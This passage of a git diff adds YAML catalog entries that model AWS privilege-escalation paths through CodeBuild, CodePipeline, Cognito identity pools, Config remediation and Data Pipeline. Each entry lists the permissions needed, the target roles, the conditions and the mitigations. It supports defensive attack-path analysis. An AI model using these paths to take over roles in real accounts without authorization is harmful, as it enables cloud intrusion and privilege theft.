codebuild:StartBuild + resource: arn:{source.partition}:codebuild:*:{source.account}:project/* + bind: new_project + - - action: codebuild:StartBuildBatch + resource: arn:{source.partition}:codebuild:*:{source.account}:project/* + bind: new_project + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting codebuild.amazonaws.com in {account}" + outcome: workload_execution + preconditions: + - codebuild_new_project_role_and_build + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict this. + - id: same_new_project + description: CreateProject and the chosen build action must cover one available project name in the same Region. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CodeBuild service roles and limit codebuild:CreateProject. + references: [] + notes: "" + +- id: aws-codebuild-passrole-updateproject + provider: aws + service: codebuild + title: Change a CodeBuild project's service role and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#iampassrole-codebuildupdateproject-codebuildstartbuild--codebuildstartbuildbatch + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting codebuild.amazonaws.com by assigning them to an existing project and running it. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: codebuild.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting codebuild.amazonaws.com in {account}" + outcome: workload_execution + preconditions: + - codebuild_existing_project_role_and_build + conditions: + - id: existing_project + description: At least one existing project must be covered by both UpdateProject and StartBuild or StartBuildBatch; batch mode also needs a batch role able to start child builds. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CodeBuild service roles and codebuild:UpdateProject. + references: [] + notes: "" + +- id: aws-codebuild-updateproject-attached-role + provider: aws + service: codebuild + title: Change an existing CodeBuild project's build definition and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildupdateproject-codebuildstartbuild--codebuildstartbuildbatch + source_revision: 171e422299 + summary: The source can obtain the privileges of the service role of an existing project by changing its buildspec and starting a build. + requires: + all_of: + - action: codebuild:UpdateProject + resource: "{target.attached_resource_arn}" + request_context: + codebuild:source.buildspec: | + version: 0.2 + phases: + build: + commands: + - aws sts get-caller-identity + any_of: + - - action: codebuild:StartBuild + resource: "{target.attached_resource_arn}" + request_context: + codebuild:source.buildspec: + absent: true + - - action: codebuild:StartBuildBatch + resource: "{target.attached_resource_arn}" + request_context: + codebuild:source.buildspec: + absent: true + target: + kind: aws_role + selector: + attached_to_service: codebuild + attached_resource_covered_by: codebuild:UpdateProject + scope: same_account + aggregate_as: "Service roles of CodeBuild projects covered by codebuild:UpdateProject in {account}" + preconditions: + - codebuild_existing_project_update_buildspec + conditions: + - id: project_build_path + description: UpdateProject must permit a buildspec change, and the project must be able to run the changed buildspec with its existing service role; batch mode needs a batch role able to start child builds. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict codebuild:UpdateProject to administrators. + references: [] + notes: This path can remain when StartBuild buildspec overrides are blocked, because UpdateProject changes the stored buildspec and StartBuild can run it without an override. + +- id: aws-codebuild-startsandbox-exec + provider: aws + service: codebuild + title: Start a CodeBuild sandbox for a project and run commands in it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildstartcommandexecution--execute-in-a-running-sandbox + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service role of an existing CodeBuild project by starting a sandbox for it and running commands or opening a shell in that sandbox. + requires: + all_of: + - action: codebuild:StartSandbox + resource: "{target.attached_resource_arn}" + any_of: + - - action: codebuild:StartCommandExecution + resource: "{target.codebuild_sandbox_arn}" + - - action: codebuild:StartSandboxConnection + resource: "{target.codebuild_sandbox_arn}" + target: + kind: aws_role + selector: + attached_to_service: codebuild + trust_allows_service: codebuild.amazonaws.com + attached_resource_covered_by: codebuild:StartSandbox + scope: same_account + aggregate_as: "Service roles of CodeBuild projects covered by codebuild:StartSandbox in {account}" + outcome: workload_execution + conditions: + - id: sandbox_starts + description: The selected project must be able to start a sandbox and reach a running state before a command or connection can be opened. + - id: ssm_agent_in_image + description: The interactive-shell alternative needs a working SSM Agent in the sandbox image and a project configuration that lets CodeBuild start the Session Manager session. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict codebuild:StartSandbox, StartCommandExecution and StartSandboxConnection to trusted operators on exact projects and keep project service roles least-privileged. + references: + - https://docs.aws.amazon.com/codebuild/latest/APIReference/API_StartSandbox.html + notes: Removes the running-sandbox runtime prerequisite of aws-codebuild-startcommandexecution and aws-codebuild-startsandboxconnection; the page states the caller of those needs no StartSandbox only when a sandbox is already running. + +- id: aws-codebuild-plaintext-env-credential + provider: aws + service: codebuild + title: codebuild:BatchGetProjects / BatchGetBuilds + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildbatchgetprojects-codebuildbatchgetbuilds--read-build-environment-values + source_revision: 57bd5c07df + summary: Read a verified usable credential from a plaintext CodeBuild environment value. + requires: + all_of: [] + any_of: + - - action: codebuild:BatchGetProjects + resource: '*' + - - action: codebuild:BatchGetBuilds + resource: '*' + target: + kind: aws_user + selector: + aws_challenge_fact: aws-codebuild-plaintext-env-credential + scope: same_account + outcome: credentials + grants: + - Exact IAM user authenticated by a reviewed usable access key in the named resource + conditions: + - id: exact_credential_subject_resource + description: A reviewed evidence record must bind the source IAM principal, exact readable resource + and action, a read and authentication as the named IAM user, and an exact action and resource denied + to the source but allowed with that key; the source must hold effective read permission. + confidence: conditional + severity: high + mitigation: Restrict the named operation to trusted administrators and review downstream grants. + references: + - https://docs.aws.amazon.com/codebuild/latest/APIReference/Welcome.html + notes: Only a direct IAM user access key is modeled. STS and application sessions remain held because + their effective rights may be narrower than the role or application identity. diff --git a/src/privilege-escalation-paths-research/aws/codecommit.yaml b/src/privilege-escalation-paths-research/aws/codecommit.yaml new file mode 100644 index 0000000000..d7b324a9c7 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/codecommit.yaml @@ -0,0 +1,9 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CodeCommit privilege escalation techniques. +# Source: hacktricks-cloud aws-codecommit-pipeline-source-privesc/README.md (rev 171e422299). +# Uses {target.consumer_input_arn} and consumer_input_writable_via (see codepipeline.yaml S3 source entry). diff --git a/src/privilege-escalation-paths-research/aws/codeconnections.yaml b/src/privilege-escalation-paths-research/aws/codeconnections.yaml new file mode 100644 index 0000000000..6c3063ab93 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/codeconnections.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CodeConnections (CloudFormation Git sync) privilege escalation techniques. +# Source: hacktricks-cloud aws-codeconnections-privesc/README.md (rev 171e422299). diff --git a/src/privilege-escalation-paths-research/aws/codedeploy.yaml b/src/privilege-escalation-paths-research/aws/codedeploy.yaml new file mode 100644 index 0000000000..4b865815ba --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/codedeploy.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CodeDeploy privilege escalation techniques. +# Source: hacktricks-cloud aws-codedeploy-privesc/README.md. diff --git a/src/privilege-escalation-paths-research/aws/codepipeline.yaml b/src/privilege-escalation-paths-research/aws/codepipeline.yaml new file mode 100644 index 0000000000..6f58bfaa8f --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/codepipeline.yaml @@ -0,0 +1,137 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CodePipeline privilege escalation techniques. +# Source: hacktricks-cloud aws-codepipeline-privesc/README.md. + +- id: aws-codepipeline-passrole-createpipeline-codebuild + provider: aws + service: codepipeline + title: Create a pipeline and CodeBuild project using an S3 source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#iampassrole-codepipelinecreatepipeline-codebuildcreateproject-codepipelinestartpipelineexecution + source_revision: 171e422299 + summary: The source may obtain a CodeBuild role's privileges by creating a project and pipeline, placing a source ZIP in S3, and starting the pipeline. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "CodeBuild roles reachable through new S3 sourced pipelines in {account}" + preconditions: + - codepipeline_new_s3_project_route + conditions: + - id: passable_pipeline_role + description: The source must pass the target to CodeBuild and a pipeline role to CodePipeline. That pipeline role must be able to start the new project. + - id: readable_source + description: A versioned S3 bucket in the pipeline Region must accept a ZIP source object, and the pipeline and build roles must be able to use the artifact store. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict who can pass CodeBuild roles and who can create pipelines and projects with those roles. + references: + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-S3.html + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-CodeBuild.html + notes: This entry validates the S3 source path. Other source providers require their own source and artifact authorization checks. + +- id: aws-codepipeline-passrole-createpipeline-codebuild-codecommit + provider: aws + service: codepipeline + title: Create a pipeline and CodeBuild project using a CodeCommit source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#iampassrole-codepipelinecreatepipeline-codebuildcreateproject-codepipelinestartpipelineexecution + source_revision: 171e422299 + summary: The source may obtain a CodeBuild role's privileges by creating a project and pipeline that runs a recorded CodeCommit branch or one it can push. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "CodeBuild roles reachable through new CodeCommit sourced pipelines in {account}" + preconditions: + - codepipeline_new_codecommit_project_route + conditions: + - id: passable_pipeline_role + description: The source must pass the target to CodeBuild and a pipeline role to CodePipeline. The pipeline role must be able to start the new project. + - id: available_source + description: A recorded branch or a branch the source can push must be available. The pipeline role must read and archive the repository into an artifact bucket that the build role can read. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict who can pass CodeBuild roles and who can create pipelines and projects with those roles. + references: + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-CodeCommit.html + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-CodeBuild.html + notes: The ZIP output format uses the pipeline role to archive the repository and does not require the build role to clone it. + +- id: aws-codepipeline-passrole-createpipeline-codebuild-ecr + provider: aws + service: codepipeline + title: Create a pipeline and CodeBuild project using an ECR source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#iampassrole-codepipelinecreatepipeline-codebuildcreateproject-codepipelinestartpipelineexecution + source_revision: 171e422299 + summary: The source may obtain a CodeBuild role's privileges by creating a project and pipeline that uses a recorded tagged ECR image as its source. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "CodeBuild roles reachable through new ECR sourced pipelines in {account}" + preconditions: + - codepipeline_new_ecr_project_route + conditions: + - id: existing_image + description: An ECR repository must contain a tagged image the pipeline role can describe, and the resulting source artifact must be readable by the build role. + - id: passable_pipeline_role + description: The source must pass the target to CodeBuild and a pipeline role to CodePipeline, and that pipeline role must start the new project. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict who can pass CodeBuild roles and who can create pipelines and projects with those roles. + references: + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-ECR.html + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-CodeBuild.html + notes: The ECR source provides an imageDetail.json artifact; the controlled buildspec is supplied when creating the project. + +- id: aws-codepipeline-updatepipeline-codebuild-updateproject + provider: aws + service: codepipeline + title: Change a pipeline's CodeBuild project and run the pipeline + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codebuildupdateproject-codepipelineupdatepipeline-codepipelinestartpipelineexecution + source_revision: 171e422299 + summary: The source may obtain the privileges of a CodeBuild role by changing the buildspec of a project used by a pipeline and starting that pipeline. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "CodeBuild roles reachable through configured pipelines in {account}" + preconditions: + - codepipeline_existing_project_update_buildspec + conditions: + - id: pipeline_can_start_project + description: Earlier actions must actually produce every named build input, the build action must consume those inputs and use the changed project buildspec, and the pipeline or action role must be able to start the exact project. Batch builds and build role overrides add requirements. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict who can change buildspecs and start pipelines that use privileged CodeBuild roles. + references: + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-CodeBuild.html + notes: The route uses an existing pipeline and project, so UpdatePipeline is unnecessary. AWS does not let a pipeline change its service role after creation. A configured artifact name alone does not show that a source revision or earlier action can deliver it; reporting a role edge requires a fresh reviewed execution bound to the exact pipeline and project definitions, consumed input artifacts, changed buildspec and useful action under the CodeBuild role. diff --git a/src/privilege-escalation-paths-research/aws/cognito.yaml b/src/privilege-escalation-paths-research/aws/cognito.yaml new file mode 100644 index 0000000000..ea01ce8d76 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/cognito.yaml @@ -0,0 +1,161 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Cognito privilege escalation techniques. +# Source: hacktricks-cloud aws-cognito-privesc/README.md. + +- id: aws-cognito-getopenidtokenfordeveloperidentity + provider: aws + service: cognito-identity + title: Obtain a developer identity pool's authenticated role credentials + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitygetopenidtokenfordeveloperidentity--mint-credentials-for-the-pools-authenticated-role-with-no-account-at-all + source_revision: ad04436fdb + summary: The source can mint a developer-authenticated identity token for an exact pool and exchange it for that pool's authenticated IAM role credentials. + requires: + all_of: + - action: cognito-identity:GetOpenIdTokenForDeveloperIdentity + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + cognito_developer_authenticated_role: true + scope: same_account + aggregate_as: "Authenticated roles of developer identity pools reachable in {account}" + outcome: credentials + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Grant GetOpenIdTokenForDeveloperIdentity only to the backend roles that verify users for each developer identity pool. + references: + - https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdTokenForDeveloperIdentity.html + - https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html + notes: The selector requires a collected developer provider, the pool's authenticated role, and role trust that admits the pool audience and authenticated Cognito method. Guest and rule-mapped roles are excluded. + +- id: aws-cognito-getopenidtokenfordeveloperidentity-classic + provider: aws + service: cognito-identity + title: Use a developer identity token with a trusted IAM role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitygetopenidtokenfordeveloperidentity--mint-credentials-for-the-pools-authenticated-role-with-no-account-at-all + source_revision: ad04436fdb + summary: A source that can mint a developer identity token for a pool with Basic authentication enabled can exchange it through STS for an IAM role that trusts that pool and authenticated method. + requires: + all_of: + - action: cognito-identity:GetOpenIdTokenForDeveloperIdentity + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + cognito_developer_classic_role: true + scope: any + aggregate_as: "Roles trusting classic developer identity pools reachable in {account}" + outcome: credentials + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict developer-token issuance to trusted backend identities and keep Basic authentication disabled unless the application needs it. + references: + - https://docs.aws.amazon.com/cognito/latest/developerguide/developer-authenticated-identities.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/authentication-flow.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html + notes: The pool must have AllowClassicFlow enabled. The selector verifies token-mint permission on that same pool and the target role's matching Cognito web-identity trust. Cross-account roles require explicit aud and amr trust conditions. + +- id: aws-cognito-setidentitypoolroles-developer-token + provider: aws + service: cognito-identity + title: Set an identity pool role and obtain its credentials + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitysetidentitypoolroles-iampassrole + source_revision: ad04436fdb + summary: A source that can set an identity pool's authenticated role, pass the target role and mint a developer token for that same pool can obtain the target role's credentials. + requires: + all_of: + - action: cognito-identity:SetIdentityPoolRoles + resource: "*" + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: cognito-identity.amazonaws.com + - action: cognito-identity:GetOpenIdTokenForDeveloperIdentity + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + cognito_developer_settable_authenticated_role: true + scope: same_account + aggregate_as: "Roles assignable to developer identity pools in {account}" + outcome: credentials + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict SetIdentityPoolRoles and iam:PassRole to approved pool roles, and limit developer-token issuance to trusted backend identities. + references: + - https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_SetIdentityPoolRoles.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/role-based-access-control.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/developer-authenticated-identities.html + notes: SetIdentityPoolRoles has no resource-level IAM scope. The selector still requires the source to own a collected developer pool, have token-mint permission on that exact pool, and choose a same-account role whose web-identity trust admits its authenticated developer token. Other token sources need separate proof. + +- id: aws-cognito-updateidentitypool-enable-classic-developer-token + provider: aws + service: cognito-identity + title: Enable Basic authentication and use a developer token + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identityupdateidentitypool + source_revision: ad04436fdb + summary: A source that can enable Basic authentication on a developer identity pool and mint its token can exchange that token through STS for a role that trusts the pool. + requires: + all_of: + - action: cognito-identity:UpdateIdentityPool + resource: "{target.attached_resource_arn}" + - action: cognito-identity:GetOpenIdTokenForDeveloperIdentity + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + cognito_developer_enable_classic_role: true + scope: any + aggregate_as: "Roles reachable after enabling Basic authentication in {account}" + outcome: credentials + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict identity-pool updates and developer-token issuance to approved backend roles, and keep Basic authentication disabled where it is unnecessary. + references: + - https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_UpdateIdentityPool.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/developer-authenticated-identities.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html + notes: The collected pool must have a developer provider and enough configuration to preserve required UpdateIdentityPool fields. The selector verifies both permissions on the same pool and matching target trust. Cross-account roles need explicit aud and amr trust conditions. + +- id: aws-cognito-updateidentitypool-enable-guest-classic-role + provider: aws + service: cognito-identity + title: Enable guest Basic flow and assume a role trusting the pool + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identityupdateidentitypool + source_revision: c111ee5412 + summary: A source that can update an identity pool can enable guest and Basic authentication, obtain a guest token, and assume an IAM role that trusts the pool's unauthenticated web identity. + requires: + all_of: + - action: cognito-identity:UpdateIdentityPool + resource: "{target.attached_resource_arn}" + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + cognito_guest_update_classic_role: true + scope: any + aggregate_as: "Roles reachable after enabling guest Basic flow in {account}" + outcome: credentials + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict identity-pool updates to approved administrators, and allow guest Basic flow only where the trusted roles have deliberately limited permissions. + references: + - https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_UpdateIdentityPool.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/authentication-flow.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html + notes: The collected pool needs a usable name, no role mappings and at least one of guest access or Basic flow currently disabled. The source must be able to update that exact pool; no token-mint IAM permission is needed for a guest. The target role must trust the pool audience and unauthenticated method. Cross-account roles require both conditions explicitly. diff --git a/src/privilege-escalation-paths-research/aws/config.yaml b/src/privilege-escalation-paths-research/aws/config.yaml new file mode 100644 index 0000000000..41732655af --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/config.yaml @@ -0,0 +1,50 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Config privilege escalation techniques. +# Source: hacktricks-cloud aws-config-privesc/README.md (rev 171e422299). + +- id: aws-config-passrole-automatic-remediation + provider: aws + service: config + title: Attach an automatic remediation that runs an Automation document as a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#privilege-escalation-through-automatic-remediation + source_revision: 171e422299 + summary: The source can cause an automatic remediation on an existing AWS Config rule to run an Automation document with a passable role when that document performs a useful privileged action. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ssm.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: ssm.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting ssm.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - config_automatic_remediation_effect_unverified + conditions: + - id: noncompliant_rule + description: An existing non-service-linked Config rule must have a noncompliant resource in its compliance snapshot, with the configuration recorder running. + - id: automatic_mode + description: Only Automatic=true remediation runs through AWSServiceRoleForConfigRemediation as the passed role and checks iam:PassRole; manual remediation runs as the initiating principal and gives nothing extra. The service-linked role must exist or the source needs iam:CreateServiceLinkedRole. + - id: document_reuse + description: The source may use an existing Automation document; ssm:CreateDocument is required only when the source creates a new one. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict config:PutRemediationConfigurations and iam:PassRole on Automation roles (iam:PassedToService=ssm.amazonaws.com) to compliance administrators, and restrict ssm:CreateDocument. + references: + - https://docs.aws.amazon.com/config/latest/developerguide/remediation.html + - https://docs.aws.amazon.com/config/latest/developerguide/setup-autoremediation.html + notes: Automatic remediation works even when the source is explicitly denied ssm:StartAutomationExecution. A concrete role path requires exact PutRemediationConfigurations authorization, the existing rule, a runnable document using AutomationAssumeRole with the passed role, and a fresh witnessed automatic remediation that performs a useful action. The classic config:PutRemediationConfigurations + iam:PassRole subsection is covered by this entry; missing joins stay UNKNOWN. diff --git a/src/privilege-escalation-paths-research/aws/connect.yaml b/src/privilege-escalation-paths-research/aws/connect.yaml new file mode 100644 index 0000000000..7698b51818 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/connect.yaml @@ -0,0 +1,9 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Connect application-plane privilege escalation techniques (aws_service_plane_admin targets). +# Source: hacktricks-cloud aws-connect-privesc/README.md (rev 171e422299). +# Connect instances, users and security profiles are not collected: every edge is one unresolved placeholder per account. diff --git a/src/privilege-escalation-paths-research/aws/controltower.yaml b/src/privilege-escalation-paths-research/aws/controltower.yaml new file mode 100644 index 0000000000..326a99fc78 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/controltower.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Control Tower privilege escalation techniques. +# Source: hacktricks-cloud aws-control-tower-privesc/README.md (rev 171e422299). diff --git a/src/privilege-escalation-paths-research/aws/datapipeline.yaml b/src/privilege-escalation-paths-research/aws/datapipeline.yaml new file mode 100644 index 0000000000..a494f02341 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/datapipeline.yaml @@ -0,0 +1,47 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Data Pipeline privilege escalation techniques. +# Source: hacktricks-cloud aws-datapipeline-privesc/README.md. + +- id: aws-datapipeline-passrole-create-activate + provider: aws + service: datapipeline + title: Create and activate a Data Pipeline with passed roles + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md#iampassrole-datapipelinecreatepipeline-datapipelineputpipelinedefinition-datapipelineactivatepipeline + source_revision: 171e422299 + summary: The source can obtain the privileges of passable EC2 instance-profile roles used as the pipeline resource role by running commands it defines on pipeline-launched instances. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ec2.amazonaws.com + - action: datapipeline:CreatePipeline + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "EC2 instance-profile roles in {account} (Data Pipeline resource role)" + outcome: workload_execution + preconditions: + - datapipeline_existing_customer_role_pair_and_runnable_ec2 + conditions: + - id: passable_pipeline_role + description: iam:PassRole must also cover a separate pipeline role trusting datapipeline.amazonaws.com; PutPipelineDefinition and ActivatePipeline must be allowed on the generated pipeline ARN. + - id: service_availability + description: AWS Data Pipeline is closed to new customers (since July 2025); only accounts already using it can create pipelines. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole and Data Pipeline write actions; migrate off Data Pipeline. + references: + - https://docs.aws.amazon.com/datapipeline/latest/DeveloperGuide/dp-iam-roles.html + notes: The pipeline role (datapipeline principal) itself can also be targeted if a pipeline activity runs with it, but code execution happens on the resource role; only the resource role is modelled. CreatePipeline uses Resource=*, while PutPipelineDefinition and ActivatePipeline use the generated pipeline ARN. A concrete EC2 resource-role edge needs existing-customer eligibility, both role passes, a controlled ShellCommandActivity on an Ec2Resource, an activated pipeline, and a fresh witnessed useful role action from the launched instance; missing joins stay UNKNOWN. diff --git a/src/privilege-escalation-paths-research/aws/datasync.yaml b/src/privilege-escalation-paths-research/aws/datasync.yaml new file mode 100644 index 0000000000..2546812435 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/datasync.yaml @@ -0,0 +1,12 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS DataSync privilege escalation techniques. +# Source: hacktricks-cloud aws-datasync-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). Bounded impact: DataSync uses the +# location role only for S3 transfers; no STS credentials are returned. + +[] diff --git a/src/privilege-escalation-paths-research/aws/datazone.yaml b/src/privilege-escalation-paths-research/aws/datazone.yaml new file mode 100644 index 0000000000..dc2fd40548 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/datazone.yaml @@ -0,0 +1,13 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon DataZone privilege escalation techniques. +# Source: hacktricks-cloud aws-datazone-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). Custom AWS service environments carry an +# IAM role trusting datazone.amazonaws.com whose credentials DataZone vends to project members; the vended session only +# blocks role chaining. + +[] diff --git a/src/privilege-escalation-paths-research/aws/deadline.yaml b/src/privilege-escalation-paths-research/aws/deadline.yaml new file mode 100644 index 0000000000..afbe8dcbf8 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/deadline.yaml @@ -0,0 +1,169 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Deadline Cloud privilege escalation techniques. +# Source: hacktricks-cloud aws-deadline-cloud-privesc/README.md (rev 171e422299). +# Queue and fleet roles trust credentials.deadline.amazonaws.com. The existing-queue route +# uses collected queue-to-role bindings; new queue/fleet PassRole routes need separate joins. + +- id: aws-deadline-existing-queue-role-vend + provider: aws + service: deadline + title: Obtain the IAM role configured on an existing queue + source: 